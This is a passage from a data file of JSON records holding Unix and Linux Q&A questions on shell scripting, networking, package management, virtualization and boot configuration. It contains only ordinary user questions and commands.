the cause) resulted in my `~/.local/share/applications/` directory not being scanned anymore - any changes in this directory don't get populated in Gnome menu. How can I get this functionality back? I have no idea what Gnome background app is responsible for this."} {"_id": "6479", "title": "Install MySQL from Bash Script", "text": "I'm coding a bash script to automate the process of deploying VPS servers but I'm having some trouble while trying to install MySQL from either `aptitude`/`apt-get` or `yum`, this is what I have so far: if [ \"$OS\" == 'centos' ]; then yum -y install mysql-server > /dev/null 2>&1 elif [ \"$OS\" == 'ubuntu' ]; then aptitude -y install mysql-server > /dev/null 2>&1 fi It seems that the script keeps running ad infinitum, I suspect the problem is because the `mysql-server` package seems to bring up a wizard to specify the MySQL root password, but I've no idea how to overcome or fill the password from within the script. Does anyone know how I can work around this problem?"} {"_id": "6473", "title": "Need further explanation on TIME_WAIT", "text": "Hi Unix/Linux Gurus out there! I need a solid proof that TIME_WAIT (a lot of it actually) is the real culprit in the slowdown in one of our servers. The server is hosted on Parallels Baremetal virtualization, and the actual server is a VM: CentOS5 with dual CPU and 2GB RAM. A week ago, we started to notice that it was too slow that even doing an 'ls' on a directory with just a few files in there (around 20) would need around 1.5 seconds to display the results. I tried doing `vmstat` but it doesn't seem to be even using it's swap. No bottlenecks on the network. But running `top`, you'd see java mostly hogging the resource. Java is needed since this VM is our hudson server. One of my colleagues tried checking the connections via $ vmstat -vatpno And noticed that there where a lot of connections in TIME_WAIT...around 300+. So we tried applying some of the recommendations in this page particularly that of TCP_FIN_TIMEOUT, TCP_KEEPALIVE_INTERVAL & TCP_KEEPALIVE_PROBES. The connections in TIME_WAIT went lower but still fluctuates between 220 to 280(maybe due to the fact that a new connection is added from time to time and other connections in TIME_WAIT is not yet \"timed-out\"). Perhaps we could try adding TCP_TW_RECYCLE & TCP_TW_REUSE later when we don't see any improvement. Now going back to my main question: is there a solid evidence that a lot of TIME_WAIT'ed connections eat up a lot of RAM? Thanks in advance."} {"_id": "124163", "title": "Create ssh user which can only access home directory", "text": "I read documentation on the internet on how to create a new user with SSH access. I figured it out and to create a user is quite simple. The next step I want to take is to jail this ssh server to the `/home/` directory on my machine. It needs the permission to write/create folder/files in directories of other users (CMS system). How can I implement this?"} {"_id": "6477", "title": "Using an incrementing variable in a bash command line for loop?", "text": "I'm using a bash commandline for-loop to concat a group of files together, and I'd like to append an incrementing digit. Something like this: j=1;for i in *.bak; do echo {$j++: >> files.grp;cat $i >> files.grp; echo }, >> files.grp; done So the output would like this: {1:\"file1 contents\"},{2:\"file2 contents\"},"} {"_id": "15367", "title": "How to install/default to the command line version of Emacs?", "text": "I installed Emacs using `sudo apt-get install emacs`. The problem is that when I launch Emacs from the command line (e.g. `emacs main.c`) it opens Emacs with a GUI. I prefer the command line version which runs in the terminal emulator. How can I install (or change some default) so that Emacs will open in the command line instead of a GUI?"} {"_id": "15364", "title": "Recursively Gziping Files (and keep original files) & Gziping Text Input", "text": "I need Gzip to pre-zip some static files for a webserver I'm building. All of the files I need to gzip will be in a folder named `.cache`. Since some clients may not accept responses that are gzipped, I would like to keep all of the original files when I gzip them. Is there any command I can use to recursively gzip the files in my `.cache` folder while still keeping the original files? Will this command gzip gzipped files (ones that are postfixed with .gz already) if run on a folder with already gzipped files? While we're on the topic of gzip: I've been looking for a way to gzip text input passed to gzip instead of files. I came up with postfixing a dash on the command (like `gzip -c -`), but I'm not sure if that will work or how I use it. Can anyone explain?"} {"_id": "31516", "title": "Confusion about sed and '>'", "text": "The following command works fine: sed s/input/raw_input/ p.py >p2.py && mv p2.py p.py However, the following command turns p.py into an empty file: sed s/input/raw_input/ p.py >p.py The following also turns p.py into an empty file: sed s/input/raw_input/ p.py | cat > p.py Why don't the last two commands behave as expected? In particular why is p.py empty?"} {"_id": "31510", "title": "VIM - how to minimize tabindent on hilighted text", "text": "Right now, my VIM editor tab indent has some unusual behaviour. When I am in insert mode and press tab, the cursor indents about 3 spaces instead of a whole tab indent. **I like this**. When I high-light a block of text, then press `SHIFT` and `>` simultaneously, the block of text indents an entire tab indent instead of 3 spaces behaviour like above. **I do not like this**. How do I make the second action behave like the first action?"} {"_id": "122977", "title": "What is the correct name for the \">\" command", "text": "I was trying to find how to pass some text to a file without overwriting what's there already using the `>` command and I realised I don't know what it's called. Searching for _right arrow_ or _right chevron_ or _more than_ command didn't show up anything. I've always just called it _pass to_."} {"_id": "31518", "title": "Replacing/disabling plasma desktop/wallpaper?", "text": "I'm looking for a way to replace Plasma's wallpaper (desktop?) with Compiz's (or traditional). I'm running Compiz + Emerald as WM, and this disables the ability to have different activities on different virtual desktops at all, so this is the only way to have different wallpapers on each one. I noticed on Compiz's site, it suggests using wallpapercolor= 0,0,0,0 , but I'm running 4.8 and doubt this will work. I would switch to Gnome, as I had this working on it before, but I'm not a fan of Gnome3. Any help is appreciated."} {"_id": "105632", "title": "List of error messages available for a command in Unix", "text": "Is it possible to find out what error messages a command includes? For example I want to see the list of error messages that `mkfs.ext3` command will print in different error situations. Shall I look into the source code or are there other ways to achieve this?"} {"_id": "19464", "title": "benchmark tools for linux", "text": "I have developed a software with perl language based on the Spread Toolkit wich is a network messages manager through the network(messages software through the network), now I have to stress my application and benchmark it, so being able to see the CPU and memory compsumption, etc... Could you recommend me any benchmark tool for linux? I have no idea about which software I could use, I can stress my app but dunno howto to see the system performance."} {"_id": "19467", "title": "Using grep -v on multiple arguments", "text": "Is there a simpler way to do this? `grep -v foo file | grep -v bar` There're probably very elegant ways to do it with egrep, but how to go with plain old grep? EDIT: `grep -v 'foo\\|bar' file` seems to work only with GNU grep. I'm on Solaris. Any solution for that?"} {"_id": "122970", "title": "Removing files and symlinks like /etc/*release. Could it cause issues?", "text": "I just got a VM running on CentOS 6.5 and `ls -l /etc/*release` returns a number of files like `/etc/centos-release`, `/etc/lsb-release`, and `/etc/redhat-release`. The last one, `/etc/redhat-release`, is a symlink to the centos-release file. Is it safe to remove `/etc/redhat-release`? Or could it cause issues later?"} {"_id": "76731", "title": "Configure Clock on different port other than port 80 in CentOS", "text": "I installed CentOS 6.4 & noticed that port 80 is being used by Clock application [root@l-22733-p11 logs]# lsof -i tcp:80 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME clock-app 10418 jack 21u IPv4 408998 0t0 TCP l-22733-p11.abc.com:51095->a23-3-105-136.deploy.akamaitechnologies.com:http (CLOSE_WAIT) clock-app 20477 jack 21u IPv4 408354 0t0 TCP l-22733-p11.abc.com:51088->a23-3-105-136.deploy.akamaitechnologies.com:http (ESTABLISHED) If I kill these processes, then the clock gets killed. How can I configure this clock to run on different port than port 80? This issue was not present with earlier version of CentOS. I want to run the Tomcat server on port 80 & it is giving me bind exception since clock is running on port 80."} {"_id": "99466", "title": "Is there a method for making Google Chrome open textareas in vim?", "text": "I used to use Firefox on a daily basis but have switched to Google Chrome, and have been using it for 2+ years now. The one plugin that I miss is this one, It's All Text!. This plugin allowed for the textarea to be opened into a separate `vim` or `gvim` window where I could do editing and then save the contents when done, back to Firefox. The closes thing I've found is this plugin is TextAid, but I find it a bit of kludge since it requires a separate web server to be kept up. I'd really prefer not having to use TextAid, does anyone know of any alternative methods to achieving this using Chrome?"} {"_id": "105637", "title": "Is symlink's target relative to the destination's parent directory and if so, why?", "text": "I've got the following file structure: build/ client/ \u2013> index.js And when I try to create a symbolic link named \"client\" inside the build directory that refers to the client directory in the cwd like so // Fails $ pwd /home/user/ $ ln -s client build/client $ stat build/client/index.js stat: build/client/index.js: stat: Too many levels of symbolic links I get the ELOOP error displayed above. When I change the target path to be relative to the destination path, all is good: // Works $ pwd /home/user/ $ ln -s ../client build/client $ stat build/client/index.js stat: Is this the intended behavior and please explain why..."} {"_id": "155051", "title": "Which file defines the LESSOPEN environment variable?", "text": "please advise me about the following. On my Linux machine - I do the following: $ env | grep -i LESSOPEN LESSOPEN=|/usr/bin/lesspipe.sh %s So from `env` command I see that: LESSOPEN=|/usr/bin/lesspipe.sh %s I want to change the variable `LESSOPEN`, so I do the following search in order to find where it's located, so I can make this change. $ grep -Ril \"LESSOPEN\" / But the `grep` search did not find any such file with `LESSOPEN`. Please advise on which file `LESSOPEN` variable is defined, so I can change its value."} {"_id": "88315", "title": "Adding values of the column that have the same data ID?", "text": "I want to prepare a uniform daily data from a mixed daily and sub-daily data by adding the sub-daily values and producing a uniform daily data. My sample input and desired out put data looks like below. Input file: date Value 01/01/2000 2 01/01/2000 2 01/02/2000 6 01/03/2000 5 01/03/2000 4 Required output file: date Value 01/01/2000 4 (i.e. 2+2) 01/02/2000 6 01/03/2000 9(i.e 5+4)"} {"_id": "88314", "title": "Does sync command remove the dirty cache in the memory?", "text": "I am aware that sync command flushes the dirty cache into disk. I have run `free` command first, then `sync`, and then `free` again. The result of latter `free` command shows more free memory available than the former one. Does this mean that the dirty caches are removed from memory when performing `sync`? Can anybody give me a more solid proof?"} {"_id": "127960", "title": "yum is not working", "text": "[root@localhost ~]# yum install percona Loaded plugins: rhnplugin Bad id for repo: not installed, byte = 3 This system is not registered with RHN. RHN support will be disabled. YumRepo Error: All mirror URLs are not using ftp, http[s] or file. Eg. 6Server.10 is not a valid release or hasnt been released yet/ http://mirror.centos.org/centos/6Server.10/addons/i386/repodata/repomd.xml: [Errno 14] HTTP Error 404 : http://mirror.centos.org/centos/6Server.10/addons/i386/repodata/repomd.xml Trying other mirror. Error: Cannot retrieve repository metadata (repomd.xml) for repository: addons. Please verify its path and try again You have new mail in /var/spool/mail/root"} {"_id": "81904", "title": "Repeat each line multiple times", "text": "Would like to have each line in a file repeated a fixed number of times. e.g. have each line repeated four times: a b c becomes: a a a a b b b b c c c c I've done some searching, and there are a lot of questions and answers along the lines of doing the reverse, e.g. merging duplicate lines into single lines, and maybe a few about doubling lines by printing them again. It would be easy to do this in C, but I wish I knew more about the native commands so I wouldn't have to resort to these kinds of one-off throw-aways all the time."} {"_id": "39071", "title": "debian, problem with DNS", "text": "When I type in \"google.com,\" firefox tells me that the server is not found. When I type in the IP address of google, it works just fine. I was playing with this computer at another place and it didn't have any problems. I have no idea what's wrong. Also: this is a fresh install and the computer is a little old."} {"_id": "39073", "title": "Any way to register source-built software with rpm/yum database?", "text": "When I install a software from its binary package using rpm or yum, I can later query for meta-information (`rpm -qi PACKAGE`, `rpm -ql PACKAGE`, ...) and can uninstall it (`rpm -e PACKAGE`). But with the software that I build and install from its sources, I have to keep hanging on to the build directory forever to later be able to uninstall it, since removing the build directory would make it impossible for me to later uninstall the software! Even if you could hold on to the build directory forever, querying for meta-information isn't easy either, unless you know the intricacies of make files. Question: Is there any way to, sort of, 'register' the binaries being installed (which is usually during the `make install` step for most software packages) with the rpm/yum database, to allow easy uninstall later and for meta-information querying?"} {"_id": "39075", "title": "VMware Player on Linux, bridge networking", "text": "I am having trouble with VMware Player 4.0.3 for Linux. I am trying to run a Linux virtual machine guest (from the Linux host), but am unable to successfully get an IP address on the guest with bridge networking. I do have an internet connection and I already ran `vmware-netcfg` and changed the bridge mode from \"Automatic\" to my specific network card. I have also ran the command `sudo vmware-networks --start` which completes successfully."} {"_id": "73970", "title": "Sun type 5 keyboard via serial port replicator", "text": "I'm running Ubuntu 12.04 on an HP G60 laptop with a Targus serial port replicator to USB and a custom cable between the keyboard and the replicator I ran `modprobe sunkbd`. Nothing works for the Type 5. The type 5c beeps when I plug it in or boot up but none of the keys work. What am I missing? I've pluged the Type 5c in via the mini DIN plug under the keyboard that is for the mouse because you can't detach the 5c cable from the keyboard."} {"_id": "39078", "title": "In awesome window manager, how can I make key bindings send keyboard events?", "text": "I don't think that title probably helps very much, but here's my issue: I'm using the awesome window manager and am trying to make my key bindings to be similar in flavor to OSX for special keys. I'm learning German, so I somewhat regularly need to type vowels with umlauts (double dots) above them. In OSX, to do this, you type Alt+U, then the vowel you want. Obviously, that won't be feasible in awesome, but what I do want is modkey+ to send a keyboard event that gives it the impression I had hit an umlaut-ed key. Would I have to change the keyboard layout first? Such that the code changes the layout, sends the corresponding event, then changes it back? Or can I send the event without changing the layout? And how do I send the event in the first place, if that's possible?"} {"_id": "73979", "title": "How do I get Linux on my sat nav?", "text": "I have a Clarion MAP680 navigation system, with some version of Windows CE on it. Is there any way I could hack it to get my beloved Linux on it? It seems to have a 1 GB flash drive or something, and a SD card slot I've never used. By the way, I have no hacking experience whatsoever."} {"_id": "73978", "title": "using root to mkdir in another users home directory", "text": "having a bit of a difficult time trying to create a folder under another user's `/home/devuser1/pubic_html` folder. I'm trying to avoid using `sudo` and looking for an alternative. The permissions on the said folder reads as: drwxr-s--- 2 devuser1 www-data 4096 Apr 28 19:40 public_html Alternatively, assuming I use the `sudo` prefix, what would be the implications be? I've read that it's bad practice to use `sudo` to make a folder. After the new folder is created, I'm still changing the ownership of it to the user in question. Example: chown -vR devuser1:www-data /home/devuser1/public_html/$vhost"} {"_id": "143999", "title": "Why ping an IP is different to ping a website?", "text": "I've noticed a strange behaviour (at least, I can't get out). **Ping IP** , specifying packet size: ping -s 128 8.8.8.8 I get: PING 8.8.8.8 (8.8.8.8) 128(156) bytes of data. 72 bytes from 8.8.8.8: icmp_req=1 ttl=43 (truncated) **Ping website** , specifying packet size: ping -s 128 www.google.com I get: PING www.google.com (173.194.35.19) 128(156) bytes of data. 136 bytes from mil01s16-in-f19.1e100.net (173.194.35.19): icmp_req=1 ttl=52 time=8.36 ms So, why pinging pure IP packet size has been truncated? From _Ping_ man, I get: > -s packetsize: Specifies the number of data bytes to be sent. The default is > 56, which translates into 64 ICMP data bytes when combined with the 8 bytes > of ICMP header data."} {"_id": "124723", "title": "Increasing swap space without reinstallation", "text": "I'm running Fedora 20, and I forgot to change my swap size allocation during installation. I have 16G of RAM, so I'd like to allocate 32G of swap space. The install created a swap for me, of only 8G. The Fedora install is on an LVM2 partition. Is there a way I can increase the swap size without reinstalling Fedora?"} {"_id": "69242", "title": "Keep two bash history files, one with ignoredups, one with everything", "text": "For the purposes of looking at which commands I am using the most, I'd like to keep a record of command I type in my bash history (even duplicates). But, for sanity and ease of use, I still want to keep my ignoredups setting on. Is there a way to automatically create two history files? With the \"default\" being no duplicates, and the full history elsewhere?"} {"_id": "4045", "title": "Microphone always picks up sound and routes it to speakers", "text": "I've started running into a kind of strange problem on my laptop, and Google hasn't proved to be very helpful so far. Essentially, at seemingly random times, my microphone will start sending output directly to my speakers/headphones and I cannot disable it. Going through the Gnome GUI and muting my microphone doesn't stop the sound, and disabling the capture channel in `alsamixer` doesn't help either. For that matter, I can set every channel to a level of \"0\" in `alsamixer`, but if I unmute the master I'll **still** hear microphone input. So far the only thing that solves the issue is rebooting my system, but that's clearly an inconvenient \"workaround\" for the problem. If I was on a desktop this might not bother me much, but my mic is integrated into my laptop so my typing and touchpad clicks get picked up and amplified right through my headphones (which is incredibly annoying, obviously). This is on a fairly fresh Fedora 14 install, but the problem started on 13. `lspci` and `alsa-info` report my sound card as: 00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03) and `lsmod` notes that the `snd_hda_intel` module is loaded. Has anybody experienced this before? Any helpful hints? It might very well be a simple solution, but I just can't seem to figure out what it is."} {"_id": "4046", "title": "remove extra tilespace from a montage (ImageMagick) composite image?", "text": "I have a bunch of photos. They're all the same height, and I'm trying to put them together into a composite image using ImageMagick's montage program via Bash. The problem is that by default, the tile size (one image occupies one tile) is equal to the image with the largest dimensions. Narrow images, therefore, are surrounded by a lot of white space. I want to remove this white space. How can I do it?"} {"_id": "69241", "title": "How to run Different congestion control algorithms in FEDORA 17 ..?", "text": "Earlier versions of Fedora has different loadable kernel modules which includes diffrent congestion control algorithms etc at ( **/lib/modules/\"kernel-name\"/kernel/ipv4** ).These are present in the form of .ko files like **tcp_veno.ko , tcp_westwood.ko** . But when i started using **fedora 17** i found out that these modules are not present at the given location and i want to use different congestion control algorithms. **Please suggest me a way for using those algorithms in fedora 17. ??**"} {"_id": "4041", "title": "Simple \"Variable\" Bash File", "text": "So I just want to make a simple bash file, that takes a file name as a parameter. In that bash file, I want to take the name, before the extension, and have it as a \"variable\", to use in other places. For example, if I was to run `bash_script_name sample.asm`, the bash script would run: nasm -f elf sample.asm ld -s -o sample sample.o io.o So basically the form of `bash_script_name $().asm` nasm -f elf $().asm ld -s -o $() $().o io.o How ever you would do that in bash. I dunno, because I have almost no bash experience."} {"_id": "4043", "title": "Task Switcher inside VNC", "text": "I run a VNC client (tightvnc) along with other applications on a Windows machine. Inside my VNC session, I typically have several xterms and gvim windows open. **How can I switch between the applications within VNC?** If I do ALT-TAB, that results in switching between the applications in Windows where the whole VNC is considered as a single application; I do not want that. Is there some way to configure some key bindings, any two/three keystroke is okay for me, to do the job?"} {"_id": "69249", "title": "The UEFI & SecureBoot impact, how severe?", "text": "I'm planning to buy a new laptop in the coming days, and I'm quite impressed with new, cool Ultrabooks. As a long-time GNU/Linux user, I'll of course install a distro of my choice on it. Chances are I'll have to buy a computer with Windows 8 pre-installed; and chances are it will run UEFI and have \"secure boot\", on which non-signed kernels won't boot. UEFI is probably good, BIOS may need to retire. I guess the hairy thing is _Secure Boot_. As far as I can understand, some trusted certificates will be embedded into firmware and so into the kernel _etc._. If the kernel's certificate can be traced back to either one of firmware's, the kernel will boot, else UEFI will tell me off and refuse to boot. This process will prevent uncertified software from booting. This may have benefits although I can't see them. I wonder how can an open source kernel obtain one of these keys and still be free. I have read a thread on Linux mailing list where a Red hat employee asks Linus Torvalds to pull a changeset which implements facility to parse PE binaries and take a complex set of actions to let kernel boot in Secure Boot mode (as far as I can understand). They want to do this because Microsoft only signs PE binaries. Mr. Torvalds has _kindly_ rejected this changeset, stating the kernel already implemets the standard, which is not PE. RedHat is trying to push this code to kernel so they won't have to fork it one day. See, this is a complicated thing. Let me ask my questions: * What benefits will I gain with UEFI and Secure Boot, as a home user? * How is this _signing_ done? * Who can obtain signatures/certificates? Is it paid? Can it be public? (It should be available in the source code of Linux, doesn't it?) * Is Microsoft the only authority to provide signatures? Shouldn't there be an independent foundation to provide them? * How will this impact open source and free kernels, hobbyist/academic kernel developers _etc._. e.g. Will this boot (a very basic boot sector code): hang: jmp hang times 510-($-$$) db 0 db 0x55 db 0xAA A news item at this website was the inspration of this question. A Spanish Linux user group called Hispalinux has filed a complaint against Microsoft on this subject to Europan Comission. Should I be concerned? I reject to use neither proprietary software nor software signed by trusted companies. I have done so till now, and I want to continue so. Thanks in advance."} {"_id": "4048", "title": "How do I redirect output to cd?", "text": "Is it possible to redirect a command's output to `cd`? For example, I searched for a directory using `locate` and got the path to it. Now, instead of writing a `cd` path, can I redirect the `locate` output to `cd`? I tried this: $ locate Descargas | grep Descargas$ /home/oliver/Descargas $ locate Descargas | grep Descargas$ | cd $ locate Descargas | grep Descargas$ > cd $ locate Descargas | grep Descargas$ < cd /home/oliver/Descargas $ No luck. This probably isn't particularly useful, but I'm curious."} {"_id": "124725", "title": "How do I run a command on a TTY from a SSH session?", "text": "Does anyone know of a way that I could run a command from my ssh session and have it display on tty1? It seems like I could do that like: `script command >> /dev/tty1`. However, if I were to do that, and close my terminal it would kill the process wouldn't it? Any ideas? Thanks."} {"_id": "43744", "title": "What does GID mean?", "text": "What does GID actually mean? I have Googled it and this is what linux.about.com said: > Group identification number for the process. Valid group numbers are given > in /etc/group, and in the GID field of /etc/passwd file. When a process is > started, its GID is set to the GID of its parent process. * But what does that mean? The permissions I have for my folder is currently at `0755` I understand if I set the UID for the Owner it will be `4755` And if I set the GID of the Group it will be `2755` If I set the Sticky Bit for Others it will be `1755` * Is it even important to set those permissions?"} {"_id": "46716", "title": "Is there a way to deactivate Buffer overflow protection on my machine?", "text": "I want to do some experiments with buffer overflows on my various virtual machines, including (but not limited to) Debian 6, Ubuntu 12.04, Fedora 16, but every time I try to execute the buffer overflow exploit I get the following message: stack smashing detected (core dumped) After doing my research I read that it is a feature called **buffer overflow protection** implemented in the compiler. **GCC** for instance uses **GCC Stack-Smashing Protector (ProPolice)** , **Clang/LLVM** uses **two buffer overflow detectors, SafeCode and AddressSanitizer**. My question is: Since I really want to check out buffer overflow attacks **_on my machines_** is there a way (a compiler flag, perhaps? a linux config file?) to deactivate the buffer overflow protection?"} {"_id": "115035", "title": "how do i redirect output from tailf & grep to a file", "text": "All I wanted is to grep for specific lines in an ongoing log and re-direct it to some file.. tailf log | grep \"some words\" Now, I want the above command output to get re-directed to some file in on- going basis.... I tried, tailf log | grep \"some words\" >> file But that doesn't seem to work. What am I missing?"} {"_id": "60994", "title": "How to grep lines which does not begin with \"#\" or \";\"?", "text": "I want to grep `smb.conf` and see only lines which are not commented."} {"_id": "90422", "title": "Can virtfs/9p be used to share the same host folder with multiple guests?", "text": "So far I have resorted to sharing host folders with the KVM guests via Samba. Now, reading up a bit on it, it appears that \"VirtFS (Plan 9 folder sharing over Virtio - I/O virtualization framework)\" offers an easier way. However, I was unable to find on above linked page whether this method allows concurrent access to the same shared folder for multiple KVM guests."} {"_id": "90423", "title": "Can virtfs/9p be used as root file system?", "text": "Is it possible to use a folder shared from the host to the guest via virtfs/9p as the root file system inside the guest? Loosely related to my previous question: Can virtfs/9p be used to share the same host folder with multiple guests?"} {"_id": "90426", "title": "Shell script to validate mount point status in the linux server", "text": "I'm in need of a script which should work as below. A script where it would validate if that specific mountpoint is currently mounted on the server. It would search for mountpoint name in `/etc/fstab` and then validate either from `df -h` output or `/proc/mounts` to check if its mounted on the server (if you have any better way to validate thats also fine). After reboot, in case it does not gets mounted it would trigger an email. For one server its okay but this is going to be used to validate more than 1000 servers so a script would be better solution. So the script would be executed on one server and it would check for mountpoint status in another 1000 server. Mountpoint in the server is in the name of `/mount1`, `/mount2`, `/mount3` etc. We need to validate this specific mountpoint name only, we can ignore other OS related FS. What I have so far: #!/bin/bash # Grep for word mountpoint name ie \"mount\" awk '{print $2}' /etc/fstab | grep -i \"mount\" > mntpoint.txt exec 3< mntpoint.txt while read mount <&3 do # Search for present mountpoint in file /prod/mounts. # I'm using /proc/mounts here to validate grep -iw $mount /proc/mounts > /dev/null if [ $? -eq 0 ] then echo $mount \"is mounted\" else echo $mount \"is not mounted needs manual intervention\" fi done"} {"_id": "90424", "title": "How to install SUMO on Ubuntu 10.10", "text": "I want to install SUMO on Ubuntu 10.10: I followed sumo installation guidelines step by step: I installed packages necessary to build SUMO, I created a symbolic link `libgdal.so .` I decompressed the tarball and I moved the decompressed directory to `/usr/local/src` Then I entered the source directory and I called configure: $ ./configure --with-fox-includes=/usr/include/fox-1.6 \\ --with-gdal-includes=/usr/include/gdal --with-proj-libraries=/usr \\ --with-gdal-libraries=/usr --with-proj-gdal In the configuration step I had this error: configure :error:gdal-lib not found in \u201c/usr\u201d"} {"_id": "90425", "title": "Memory usage command with syntax similar to the time command", "text": "What command shows the memory usage of a program, i am looking for a command that is simple to use and has similar syntax to the `time` command. I am trying to find the memory usage of a md5 hashing program that is written in C and takes 7 seconds to hash \"hello world\" . I am using the android operating system with busybox installed."} {"_id": "90428", "title": "debian/watch for Fedora", "text": "How do Fedora maintainers track new versions of upstream package sources? Is there anything like debian/watch in the Fedora/Red Hat world?"} {"_id": "93490", "title": "USB mouse not working", "text": "Every time I plug in any wired mouse recently, I get similar to the below on `VCS1`: > [1443270.286164] usb 6-1: new low-speed USB device number 15 using uhci_hcd > [1443270.454270] usb 6-1: New USB device found, idVendor=045e, > idProduct=0083 > [1443270.461874] usb 6-1: New USB device strings: Mfr=1, Product=2, > SerialNumber=0 > [1443270.469328] usb 6-1: Product: Basic Optical Mouse > [1443270.476877] usb 6-1: Manufacturer: Microsoft > [1443270.501140] input: Microsoft Basic Optical Mouse as > /devices/pci0000:00/0000:00:1d.0/usb6/6-1/6-1:1.0/input/input26 > [1443270.509327] hid-generic 0003:045E:0083.000F: input,hidraw0: USB HID > v1.10 Mouse [Microsoft Basic Optical Mouse] on usb-0000:00:1d.0-1/input0 .. but no mouse functionality. The last time I spent some trying to solve this, the final line that is now missing from the above, was `No input driver specified, ignoring this device` I haven't tried a computer reboot, because I am interested in using this opportunity to become more acquainted with the mouse subsystem(s) of Linux. Found Restart usb mouse driver? while writing up this question, but not sure how to try steps 2 & 3 of what this OP tried (Have restarted X, however - No change). What should I look at next?"} {"_id": "81217", "title": "What is the difference between RGB and YCbCr?", "text": "In my Linux Mint ATI Catalyst setup I have set YCbCr as default for **Color Pixel Format**? What is the difference? I subjectively think that RGB (Full RGB) is better for my eyes. YCbCr seems to be more blurry and my eyes have problem to focus and are tired sooner."} {"_id": "74678", "title": "Effect of static and dynamic linking on start address", "text": "I have a simple C program. I run: $ gcc Q1.c -Wall -save-temps -o Q1 Then I inspect the executable generated: $ objdump -f Q1 Q1: file format elf32-i386 architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x080483b0 Then I compile it with static linking: $ gcc Q1.c -Wall -save-temps -static -o Q1 and inspect the file again: $ objdump -f Q1 Q1: file format elf32-i386 architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x08048e08 What effect does static and dynamic linking have on the start address of the program? The start address is the address of `main()`, right?"} {"_id": "17436", "title": "CentOS on HyperV - eth0 not in ifconfig?", "text": "I've launched a _CentOS_ install in HyperV and assigned a NIC the same way I've done on an _Ubuntu_ VM, however, the device simply isn't picked up. Only my loopback is found by `ifconfig`. How should I go about trouble shooting this?"} {"_id": "17437", "title": "How to install StackApplet on Debian?", "text": "I would love to install StackApplet on Debian 6.0.2! I downloaded 'stackapplet_1.4.0_all.deb' and ran following command: root@debian:/home/dagrevis/Downloads# dpkg -i stackapplet_1.4.0_all.deb Selecting previously deselected package stackapplet. (Reading database ... 132125 files and directories currently installed.) Unpacking stackapplet (from stackapplet_1.4.0_all.deb) ... dpkg: dependency problems prevent configuration of stackapplet: stackapplet depends on python-appindicator; however: Package python-appindicator is not installed. dpkg: error processing stackapplet (--install): dependency problems - leaving unconfigured Processing triggers for desktop-file-utils ... Processing triggers for gnome-menus ... Errors were encountered while processing: stackapplet I guess that I don't have 'python-appindicator'. I searched for it, but, unfortunately, I couldn't find it. P.S. I am using Gnome and that shouldn't be a problem..."} {"_id": "17433", "title": "Windows Boot Configuration Data (BCD) viewer for linux", "text": "Is there such a thing as a Windows Boot Configuration Data (BCD) viewer for Linux? I understand that BCD files are 'like registry hives' and tools exist to read registry hives for Linux. Is there a way to see the contents, the list of partitions etc, that a BCD file contains? It used to be easy with `boot.ini` files but not anymore! My use case is this: I have a hidden partition that is not accessible from Windows (it's a system partition) and I want to read the BCD file it has. On the same system, both that partition and the Windows boot partition have boot managers and BCD files and I'm trying to sort this out (and dual-boot Linux eventually)."} {"_id": "17439", "title": "Creating a boot splash screen", "text": "I've been designing a Linux distro and trying to incorporate a nice user experience into it in the form of pleasing art and an interface that won't confuse or overwhelm first-time Linux users. The problem I'm working on now is attempting to bring up a loading screen during boot process that either has a progress indicator or a \"dummy\" progress bar ala Windows XP-just something that moves to ensure the user that the system hasn't forgotten about them-and that the user can escape out of by hitting a certain key. I've already created one and I'm looking for the next step in including it in the distro. I've already tried: * **splashy** - Doesn't work with the current kernel. At all. * **MPlayer with `-vo directfb` via DirectFB** - May work in the long run, but DirectFB seems to both produce a garbled image and overload the framebuffer and making the console unresponsive. Plus, it's not as modular as I'd like (how to signal that it's finished loading?). I'd rather not have to patch the kernel (like the abandoned boosplash project does), as this tends to break horribly when a new kernel version comes out. Also, from what I've seen, kernel-modifying projects tend to be difficult for developers to maintain for that reason, resulting in a high project- abandonment rate. To get to the point, my question is this: **Can you recommend a good bootsplashing utility that can do what I just described?** I'm using Linux 2.6.38.7 and basing the distro on Slackware 13.37."} {"_id": "13326", "title": "How to pipe output from one process to another but only execute if the first has output?", "text": "How can I rewrite this command to only email if there is output from the `mailq | grep`? mailq | egrep 'rejected|refused' -A 5 -B 5 | mail -s 'dd' email@email Is this even possible on one line?"} {"_id": "124686", "title": "rsyslog - action AND action", "text": "I want to create rule to send data from `facility` to file _AND_ to **MySQL** database. How it can realized? Only by adding second line like: syslog.* /var/log/syslog.log syslog.* :ommysql:localhost,database,user,password Or there is some more correct way?"} {"_id": "124681", "title": "ssh from host to guest using qemu", "text": "How do I setup ssh from the host to the guest using qemu? I am able to use port redirection when I boot the VM without any special parameters, as follows: /usr/bin/qemu-system-x86_64 -hda ubuntu1204 -m 512 -redir tcp:7777::8001 But when I try to boot using the following: /usr/bin/qemu-system-x86_64 \\ -m 1024 \\ -name vserialtest \\ -hda ubuntu1204 \\ -chardev socket,host=localhost,port=7777,server,nowait,id=port1-char \\ -device virtio-serial \\ -device virtserialport,id=port1,chardev=port1-char,name=org.fedoraproject.port.0 \\ -net user,hostfwd=tcp:7777::8001 I get the following error and the VM does not boot: qemu-system-x86_64: -net user,hostfwd=tcp:7777::8001: invalid host forwarding rule 'tcp:7777::8001' qemu-system-x86_64: -net user,hostfwd=tcp:7777::8001: Device 'user' could not be initialized Please note that I am able to boot the VM without the `-net` parameter without any issues, however, I want to setup ssh from the host to the guest. ssh from guest to host works fine as expected. ### Edit I have tried using -net user,hostfwd=tcp::7777-:8001 as well as -net user,hostfwd=tcp::7777:8001 but still the error persists and the VM does not boot."} {"_id": "124680", "title": "Debian Wheezy subnet configuration (proxy, MASQUARADing etc.)", "text": "I have a \"server\" with eth1 having a full IP address, DNS, gateway and proxy name connected to the university internet/intranet provider and eth0 IP 192.168.1.2 connected by a gigabit switch with two \"nodes\" 192.168.1.3 and 192.168.1.4. All three running the latest full Debian Wheeze installation from DVD with all components available. I have configured this subnet using \"interfaces\" file using only static IP addresses and netmask like this iface eth0 inet static address 192.168.1.2 netmask 255.255.255.0 with extra set of parameters for eth1 on \"server\" which is able to access internet through this card. I can not arrange an internet access for the \"nodes\" through \"server's\" eth1 using iptables or any other tools available for look up on the Internet. Any help with complete script example using iptables and/or additional features/lines to introduce to the interfaces 